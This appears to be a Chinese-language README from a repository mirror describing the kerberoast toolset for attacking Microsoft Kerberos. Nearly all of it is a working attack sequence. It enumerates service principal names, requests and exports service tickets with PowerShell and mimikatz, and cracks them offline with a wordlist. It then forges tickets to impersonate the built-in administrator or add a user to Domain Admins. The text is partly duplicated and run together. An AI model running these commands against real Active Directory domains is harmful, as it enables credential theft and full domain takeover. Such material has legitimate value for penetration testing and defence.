kerberoast ========== kerberoast 是一系列用于攻击 MS Kerberos 实现的工具。下面简要介绍了每个工具的功能。
kerberoast ========== kerberoast 是一系列用于攻击 MS Kerberos 实现的工具。下面简要介绍了每个工具的功能。
PS C:\> setspn -T medin -Q */*一张票:
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local" 所有的票
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } mimikatz # kerberos::list /export./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi使用户显得像是另一个用户
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500 将用户添加到另一个组(本例中为域管理员)
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512 使用 Mimikatz 将其注入到 RAM 中 -------------------------------------
暂无开放 Issues，或尚未同步最近议题。